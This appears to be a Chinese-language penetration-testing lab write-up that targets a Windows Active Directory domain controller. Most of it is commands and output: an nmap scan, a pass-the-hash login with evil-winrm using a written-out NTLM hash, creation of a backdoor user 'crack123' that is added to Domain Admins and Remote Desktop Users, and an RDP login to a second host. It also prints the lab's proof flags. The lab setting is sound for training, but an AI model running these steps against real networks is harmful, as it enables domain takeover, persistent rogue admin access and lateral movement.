命令:nmap -A -Pn 192.168.243.120
Nmap initial output
Starting Nmap 7.92 ( <https://nmap.org> ) at 2022-07-09 09:36 EDT
Nmap scan report for 192.168.243.120
Host is up (0.21s latency).
Not shown: 989 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-07-09 13:37:10Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: infinity.com0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2022-07-09T13:38:14+00:00; +1s from scanner time.
| rdp-ntlm-info:
| Target_Name: INFINITY
| NetBIOS_Domain_Name: INFINITY
| NetBIOS_Computer_Name: DC03
**| DNS_Domain_Name: infinity.com
| DNS_Computer_Name: dc03.infinity.com
| DNS_Tree_Name: infinity.com**
| Product_Version: 10.0.17763
|_ System_Time: 2022-07-09T13:37:33+00:00
| ssl-cert: Subject: commonName=dc03.infinity.com
| Not valid before: 2022-07-06T20:17:23
|_Not valid after: 2023-01-05T20:17:23
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Network Distance: 2 hops
Service Info: Host: DC03; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2022-07-09T13:37:37
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
TRACEROUTE (using port 53/tcp)
HOP RTT ADDRESS
- Hop 1 is the same as for 192.168.243.121
2 211.98 ms 192.168.243.120Exploit Link
从192.168.243.122获取到192.168.243.120域管的NTLM,接着往下:
扫描发现开启了139和445,利用Evil-WinRM远程访问192.168.243.120:
evil-winrm -u [infinity.com](<http://infinity.com/>)\\\\administrator -H 5f9163ca3b673adfff2828f368ca3760 -i 192.168.243.120
获取proof.txt:
*Evil-WinRM* PS C:\\Users\\Administrator\\Desktop> **more proof.txt**
**5bcad562433fcc6b612823fce075568c**
*Evil-WinRM* PS C:\\Users\\Administrator\\Desktop> **type proof.txt**
**5bcad562433fcc6b612823fce075568c**
添加用户,加入Remote Desktop Users 和domain admins两个组:
*Evil-WinRM* PS C:\\Users\\Administrator\\Desktop> net user crack123 P@ssw0rd! /add /domain
The command completed successfully.
*Evil-WinRM* PS C:\\Users\\Administrator\\Desktop> net localgroup "Remote Desktop Users" crack123 /add /domain
The command completed successfully.
*Evil-WinRM* PS C:\\Users\\Administrator\\Desktop> net group "domain admins" crack123 /add /domain
The command completed successfully.
用新添加的域管用户远程登录访问192.168.243.122,这里会是管理员权限,获取proof.txt:
rdesktop -d [infinity.com](<http://infinity.com/>) -u crack123 -p P@ssw0rd! 192.168.243.122
proof.txt的值为:67a3508727c19d520a57903b6c9ef4ec